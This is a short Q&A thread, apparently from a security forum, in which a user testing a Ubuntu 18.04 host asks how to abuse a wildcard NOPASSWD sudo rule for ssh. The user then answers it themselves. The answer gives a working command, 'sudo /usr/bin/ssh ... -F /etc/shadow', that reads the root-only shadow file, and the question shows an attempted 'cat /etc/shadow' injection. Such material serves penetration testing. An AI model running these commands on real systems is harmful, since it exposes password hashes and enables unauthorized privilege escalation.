2

I'm testing for privilege escalations on a Ubuntu 18.04 host, and after running sudo -l , I've discovered a couple of root NOPASSWD commands for a standard user (w/unknown password). These commands contain wild cards.

Example: (root) NOPASSWD: /usr/bin/ssh * /path/to/bash/script.sh

I've already attempted to inject root commands, without any luck.

Failed Attempt: /usr/bin/ssh user@localhost "cat /etc/shadow" ; /path/to/bash/script.sh

Is it possible to get command injection in such a case, and get commands to run with sudo privileges?

Any advice is appreciated.

Duck
  • 41
  • 3

1 Answers1

2

Well after beating my head against numerous commands, I finally found that I could escape the wild card and cat out /etc/shadow

...With a little help from this cheat sheet

$LFILE=/etc/shadow

Success: sudo /usr/bin/ssh user@localhost -F $LFILE /path/to/bash/script.sh

Hope this helps someone in the future. :) Cheers!

Duck
  • 41
  • 3